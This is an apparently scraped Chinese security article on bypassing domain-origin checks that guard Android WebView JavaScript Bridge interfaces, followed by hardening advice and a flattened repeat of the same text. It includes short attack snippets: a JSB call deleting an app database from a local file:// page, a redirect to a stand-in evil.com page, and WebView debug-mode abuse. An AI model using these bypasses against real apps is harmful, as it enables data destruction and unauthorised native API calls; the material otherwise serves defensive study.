Andorid JSB基于来源校验的防护绕过分析
字数 1393 2025-08-29 08:30:24

Android JSB基于来源校验的防护绕过分析与加固方案

引言

在移动混合开发中,JavaScript Bridge(JSB)作为连接Web与原生代码的核心组件,极大提升了开发效率,但同时也引入了显著的安全风险。攻击者可能通过JSB漏洞越权调用敏感API,导致数据泄露、恶意操作等严重后果。通常情况下会通过校验调用JSB接口的访问来源网页来进行防护,而该防护在大多情况下仍会存在绕过。

JSB工作原理与攻击面

JSB通过WebView在JavaScript与原生代码(Java/Kotlin/Swift)间建立通信通道:

  • Android实现:使用@JavascriptInterface注解暴露Java方法
  • iOS实现:通过WKScriptMessageHandler注册消息处理器

风险场景示例

@JavascriptInterface
public void deleteFile(String path) {
    new File(path).delete(); // 无权限校验的高危操作
}

可信域名校验的核心逻辑

开发者通常通过校验WebView加载页面的域名或URL来确保请求来源的合法性,这是防御恶意调用的一线屏障。

Android校验示例

private boolean isSafeDomain(String url) {
    try {
        URL uri = new URL(url);
        return ALLOWED_DOMAINS.contains(uri.getHost());
    } catch (Exception e) {
        return false;
    }
}

绕过来源校验的攻击手法

1. WebView协议漏洞利用

攻击场景:利用file://content://等本地协议加载恶意HTML文件,绕过远程域名校验。

漏洞代码

webView.loadUrl("file:///sdcard/evil.html"); // 加载本地恶意文件

攻击Payload

<script>
    window.jsBridge.deleteFile("/data/data/com.app/database.db");
</script>

绕过原理:当WebView加载file://协议时,url.getHost()返回null,白名单校验可能被绕过。

2. 跨域重定向劫持

攻击场景:在可信域名页面中注入恶意重定向代码,跳转到攻击者控制的域名。

恶意JavaScript代码

window.location.href = "http://evil.com/exploit.html";

替代方案:找到一个可信白名单下URL重定向漏洞,然后重定向到恶意payload中。

绕过原理:部分校验逻辑仅在页面初始加载时检查URL,未监控后续重定向行为。

3. Intent Scheme攻击

攻击场景:通过自定义Intent Scheme触发WebView加载恶意内容。

攻击Payload

<intent-filter>
    <data android:scheme="intent" android:host="evil.com" />
</intent-filter>

绕过原理:若应用未正确处理Intent的data字段,可能将evil.com解析为合法来源。

4. WebView调试漏洞

攻击场景:启用WebView调试模式时,攻击者通过Chrome DevTools注入恶意代码。

漏洞配置

if (BuildConfig.DEBUG) {
    WebView.setWebContentsDebuggingEnabled(true); // 生产环境应禁用
}

绕过原理:攻击者直接通过chrome://inspect远程控制WebView,完全绕过域名限制。

加固来源校验方案

1. 协议与路径深度校验

通过协议+具体到路径,进一步收敛能够调用JSB的风险暴露面。

private boolean isSafeSource(String url) {
    try {
        URL uri = new URL(url);
        return "https".equals(uri.getProtocol()) && 
               ALLOWED_DOMAINS.contains(uri.getHost()) &&
               uri.getPath().startsWith("/safe/path/");
    } catch (Exception e) {
        return false;
    }
}

2. 动态Token绑定(防御重定向攻击)

实现逻辑:在合法页面加载时,原生层向Web注入动态Token,后续接口调用需携带该Token。

Android示例

// 页面加载时注入Token
String token = generateSecureToken();
webView.evaluateJavascript("window.API_TOKEN = '" + token + "';", null);

// JSB接口校验
@JavascriptInterface
public void sensitiveOperation(String params, String token) {
    if (!validateToken(token)) {
        return; // 无效Token拒绝执行
    }
    // 执行操作...
}

思考与总结

来源校验的局限性

  • 无法防御同源XSS攻击:若合法域名存在XSS漏洞,攻击者仍可在可信上下文中调用JSB
  • 依赖客户端环境:所有校验逻辑均在客户端执行,可能被逆向工程绕过

纵深防御建议

  1. 服务端参与鉴权:关键操作需向服务端发起二次验证
  2. 运行时环境检测:通过BuildConfigSignature等判断是否为正式环境
  3. 代码混淆加固:使用ProGuard、R8等工具混淆JSB接口类名

终极防护原则

永远不要信任Web层传递的任何数据,即便来源"合法"也需实施完备的输入验证、权限控制与操作审计。

Android JSB基于来源校验的防护绕过分析与加固方案 引言 在移动混合开发中,JavaScript Bridge(JSB)作为连接Web与原生代码的核心组件,极大提升了开发效率,但同时也引入了显著的安全风险。攻击者可能通过JSB漏洞越权调用敏感API,导致数据泄露、恶意操作等严重后果。通常情况下会通过校验调用JSB接口的访问来源网页来进行防护,而该防护在大多情况下仍会存在绕过。 JSB工作原理与攻击面 JSB通过WebView在JavaScript与原生代码(Java/Kotlin/Swift)间建立通信通道: Android实现 :使用 @JavascriptInterface 注解暴露Java方法 iOS实现 :通过 WKScriptMessageHandler 注册消息处理器 风险场景示例 : 可信域名校验的核心逻辑 开发者通常通过校验WebView加载页面的域名或URL来确保请求来源的合法性,这是防御恶意调用的一线屏障。 Android校验示例 : 绕过来源校验的攻击手法 1. WebView协议漏洞利用 攻击场景 :利用 file:// 、 content:// 等本地协议加载恶意HTML文件,绕过远程域名校验。 漏洞代码 : 攻击Payload : 绕过原理 :当WebView加载 file:// 协议时, url.getHost() 返回null,白名单校验可能被绕过。 2. 跨域重定向劫持 攻击场景 :在可信域名页面中注入恶意重定向代码,跳转到攻击者控制的域名。 恶意JavaScript代码 : 替代方案 :找到一个可信白名单下URL重定向漏洞,然后重定向到恶意payload中。 绕过原理 :部分校验逻辑仅在页面初始加载时检查URL,未监控后续重定向行为。 3. Intent Scheme攻击 攻击场景 :通过自定义Intent Scheme触发WebView加载恶意内容。 攻击Payload : 绕过原理 :若应用未正确处理Intent的data字段,可能将evil.com解析为合法来源。 4. WebView调试漏洞 攻击场景 :启用WebView调试模式时,攻击者通过Chrome DevTools注入恶意代码。 漏洞配置 : 绕过原理 :攻击者直接通过 chrome://inspect 远程控制WebView,完全绕过域名限制。 加固来源校验方案 1. 协议与路径深度校验 通过协议+具体到路径,进一步收敛能够调用JSB的风险暴露面。 2. 动态Token绑定(防御重定向攻击) 实现逻辑 :在合法页面加载时,原生层向Web注入动态Token,后续接口调用需携带该Token。 Android示例 : 思考与总结 来源校验的局限性 无法防御同源XSS攻击 :若合法域名存在XSS漏洞,攻击者仍可在可信上下文中调用JSB 依赖客户端环境 :所有校验逻辑均在客户端执行,可能被逆向工程绕过 纵深防御建议 服务端参与鉴权 :关键操作需向服务端发起二次验证 运行时环境检测 :通过 BuildConfig 、 Signature 等判断是否为正式环境 代码混淆加固 :使用ProGuard、R8等工具混淆JSB接口类名 终极防护原则 永远不要信任Web层传递的任何数据,即便来源"合法"也需实施完备的输入验证、权限控制与操作审计。